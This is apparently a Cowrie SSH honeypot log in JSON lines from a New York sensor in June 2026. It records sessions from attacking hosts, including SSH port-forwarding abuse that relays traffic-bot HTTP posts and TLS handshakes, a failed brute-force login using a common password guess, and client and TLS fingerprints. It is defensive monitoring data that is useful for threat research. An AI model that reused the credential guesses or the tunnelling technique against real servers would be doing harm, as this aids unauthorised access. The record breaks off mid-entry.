{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WH16V2t1YSQkS0tBKzgpQA%3D%3DZSyVApIF8rZZy%2F6g3bl6JOvryL6oIw61sUmieee2Gklv37ul9IUZ93BtS17ohZ%2FvbtZXHhpj1xmE%2FADzbUP3WmDYiIIIqRIuMpN%2BLsd5NubYGJBRFPPYUf7i0Z%2FSVjtPcK6KOsEO4ncYYN9UKeowd%2FWmrAcv5yeI%2FZZszxEYFtIjDglSVU0XMlLdEHzwKsd4Zu%2BWONgXyjgWronJ2WGoBG4%2B1cJA4TADb1GtTc5QuTm03kcmlrP1A2CGRB%2BiZeMkwyyujewe5nHIOfIBGA64bkFdhVbpm%2FwSVrcbbjmvoZchIMwLSXki4PTw6ut3zUXDPvjCelsyRT7pyjXDBTaJXnBLbmD6cjcg2fGIi0HIdt%2ByK6aMFme%2BJ9EhqJtSZ8ZiTRjvwGKHdns1OCgOenCNfQ6cxSIJYd9jAEE7sIUEXF7vvtgRXFynetNxVoIIVabTbtWfU7C%2BySg%2FJuy4qhNZztlfRzKd7x8JL%2ByisOHMRidc1Kgi%2BQzpjRHZ4gYRDaWT%2BphJ1hEmTSg0zSh4XfGLBG5miSANl2KLpmNgPy78%2FEt0M8sEF7rMnmuH4fTWO%2BYDAGZ6SLbD86UEYhxDORfczN6Y2KxYYScAOW3khPH4w5oyb1TkgOPAP7b3BUatI99SPmMyXfawHLVScE%2FQMc98ALx%2FqMXUXFH0wHrb095gJqD6kNCgtcjuy5mAEY133lvvhmVJ5hwAeEVBOlE2vCUqJzhKdob4TdT2gC5aE3Qm3eCCuDjFIc3UBoi89z%2FMg86dR7WRHQZoFDfvoVQaMGALKWTMioaLxVoKGhqHLDfPvg%2FTlDdUqafJoaVRb1sTEYY%2FaCMKw6VpNOyYYRN%2FeSRG7yGX4uuD2xRIfOT3emW2EGK%2FP3R04Oa3NiGMwnit9vhQifF2Sv%2BrNbCvpmsA2gsixJMGP58JXnntgskp2im9O0c5SvdFGSdO4lXe0nMj8L5vCsvEDdL6%2BhQhgSPmwyZKDfRrdZRjPWpMA61seic6pe%2BjsCOg8SpTnoE4pE2DnwNu0oZNydtuQVMeLpIo3dTSkNJF3VQmesaIvv13P%2BeaaQD%2BYh92lFxBrjKUBNXPoTld'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WH16V2t1YSQkS0tBKzgpQA%3D%3DZSyVApIF8rZZy%2F6g3bl6JOvryL6oIw61sUmieee2Gklv37ul9IUZ93BtS17ohZ%2FvbtZXHhpj1xmE%2FADzbUP3WmDYiIIIqRIuMpN%2BLsd5NubYGJBRFPPYUf7i0Z%2FSVjtPcK6KOsEO4ncYYN9UKeowd%2FWmrAcv5yeI%2FZZszxEYFtIjDglSVU0XMlLdEHzwKsd4Zu%2BWONgXyjgWronJ2WGoBG4%2B1cJA4TADb1GtTc5QuTm03kcmlrP1A2CGRB%2BiZeMkwyyujewe5nHIOfIBGA64bkFdhVbpm%2FwSVrcbbjmvoZchIMwLSXki4PTw6ut3zUXDPvjCelsyRT7pyjXDBTaJXnBLbmD6cjcg2fGIi0HIdt%2ByK6aMFme%2BJ9EhqJtSZ8ZiTRjvwGKHdns1OCgOenCNfQ6cxSIJYd9jAEE7sIUEXF7vvtgRXFynetNxVoIIVabTbtWfU7C%2BySg%2FJuy4qhNZztlfRzKd7x8JL%2ByisOHMRidc1Kgi%2BQzpjRHZ4gYRDaWT%2BphJ1hEmTSg0zSh4XfGLBG5miSANl2KLpmNgPy78%2FEt0M8sEF7rMnmuH4fTWO%2BYDAGZ6SLbD86UEYhxDORfczN6Y2KxYYScAOW3khPH4w5oyb1TkgOPAP7b3BUatI99SPmMyXfawHLVScE%2FQMc98ALx%2FqMXUXFH0wHrb095gJqD6kNCgtcjuy5mAEY133lvvhmVJ5hwAeEVBOlE2vCUqJzhKdob4TdT2gC5aE3Qm3eCCuDjFIc3UBoi89z%2FMg86dR7WRHQZoFDfvoVQaMGALKWTMioaLxVoKGhqHLDfPvg%2FTlDdUqafJoaVRb1sTEYY%2FaCMKw6VpNOyYYRN%2FeSRG7yGX4uuD2xRIfOT3emW2EGK%2FP3R04Oa3NiGMwnit9vhQifF2Sv%2BrNbCvpmsA2gsixJMGP58JXnntgskp2im9O0c5SvdFGSdO4lXe0nMj8L5vCsvEDdL6%2BhQhgSPmwyZKDfRrdZRjPWpMA61seic6pe%2BjsCOg8SpTnoE4pE2DnwNu0oZNydtuQVMeLpIo3dTSkNJF3VQmesaIvv13P%2BeaaQD%2BYh92lFxBrjKUBNXPoTld'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:47.298628Z","src_ip":"38.46.222.137","session":"c5d211f94c98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:47.333935Z","session":"c5d211f94c98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:47.476710Z","src_ip":"38.46.222.137","session":"c5d211f94c98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03e\\xcftu\\xa4\\xfbO|\\x06\\xbc[\\x84\\xd2R\\xf4\\xba\\xa0\\x92\\x00,3\\t/!\\xf7\\xfc\\x92\\xacT^\\xd5\\xa3 \\xfb\\xee\\xf2\\xcdT\\xa8\\xdd\\x94\\x9d\\x87L\\x85\\xea\\x97+\\x06Xm\\xa6X\\x90\\x965\\xd8\\xd7\\xa7Y\\xbc\\xfa\\xb1h\\xe0\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe0\\xc9\\xb7\\xa9\\x8f\\xb4\\x84\\x89\\xd7\\x0f\\x00\\xf7|X0Z\\xa1N\\xf2U\\xc34\\x0fT\\x85F\\x91\\x1f5\\xe7\\x88V\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03e\\xcftu\\xa4\\xfbO|\\x06\\xbc[\\x84\\xd2R\\xf4\\xba\\xa0\\x92\\x00,3\\t/!\\xf7\\xfc\\x92\\xacT^\\xd5\\xa3 \\xfb\\xee\\xf2\\xcdT\\xa8\\xdd\\x94\\x9d\\x87L\\x85\\xea\\x97+\\x06Xm\\xa6X\\x90\\x965\\xd8\\xd7\\xa7Y\\xbc\\xfa\\xb1h\\xe0\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe0\\xc9\\xb7\\xa9\\x8f\\xb4\\x84\\x89\\xd7\\x0f\\x00\\xf7|X0Z\\xa1N\\xf2U\\xc34\\x0fT\\x85F\\x91\\x1f5\\xe7\\x88V\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:47.479661Z","src_ip":"38.46.222.137","session":"c5d211f94c98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:47.546249Z","session":"c5d211f94c98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:47.622785Z","src_ip":"38.46.222.137","session":"c5d211f94c98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x035\\xf2\\xa7\\xc2\\x7f\\xa3\\xe1\\x0f\\xc5\\xde\\xfd2\\x0b\\x0e\\xf2\\xcd\\xafB\\xfdG\\xc4W\\xcc\\x0b\\xef\\xfc\\xd8\\x8ei3o\\xe6 w\\xaa\\x06!$A\\x18\\xf7\\x0f\\xdd\\xf5W%q\\t{\\x8b\\x9eSL\\x89\\xdb\\xff\\x1c\\xb2\\xdf\\x84\\xf9\\xf0\\xe0\\xf7\\x1a\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1f@9\\xb0L\\xe0s\\xa8\\x044\\xc1H\\x81\\xcc\\'\\x9a\\xe6\\x0f\\x98\\xf8\\xc6\\xe4\\xbe\\xa6\\xfb\\xf0\\xa4Z\\xb6\\xb6XM\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x035\\xf2\\xa7\\xc2\\x7f\\xa3\\xe1\\x0f\\xc5\\xde\\xfd2\\x0b\\x0e\\xf2\\xcd\\xafB\\xfdG\\xc4W\\xcc\\x0b\\xef\\xfc\\xd8\\x8ei3o\\xe6 w\\xaa\\x06!$A\\x18\\xf7\\x0f\\xdd\\xf5W%q\\t{\\x8b\\x9eSL\\x89\\xdb\\xff\\x1c\\xb2\\xdf\\x84\\xf9\\xf0\\xe0\\xf7\\x1a\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1f@9\\xb0L\\xe0s\\xa8\\x044\\xc1H\\x81\\xcc\\'\\x9a\\xe6\\x0f\\x98\\xf8\\xc6\\xe4\\xbe\\xa6\\xfb\\xf0\\xa4Z\\xb6\\xb6XM\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:47.626013Z","src_ip":"38.46.222.137","session":"c5d211f94c98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haddock","password":"Admin@2026","message":"login attempt [haddock/Admin@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:49.539363Z","src_ip":"91.92.40.36","session":"f8752f3efc54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:50.470866Z","src_ip":"38.46.222.137","session":"c5d211f94c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:51.223823Z","src_ip":"91.92.40.36","session":"f8752f3efc54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58410,"dst_ip":"159.203.135.109","dst_port":22,"session":"156129fd8b1c","protocol":"ssh","message":"New connection: 91.92.40.36:58410 (159.203.135.109:22) [session: 156129fd8b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:53.850022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:54.643073Z","src_ip":"91.92.40.36","session":"156129fd8b1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:54.647260Z","src_ip":"91.92.40.36","session":"156129fd8b1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":62946,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc0a3a7c8fd5","protocol":"ssh","message":"New connection: 113.164.152.20:62946 (10.17.0.5:22) [session: bc0a3a7c8fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:55.697461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:55.701764Z","src_ip":"113.164.152.20","session":"bc0a3a7c8fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr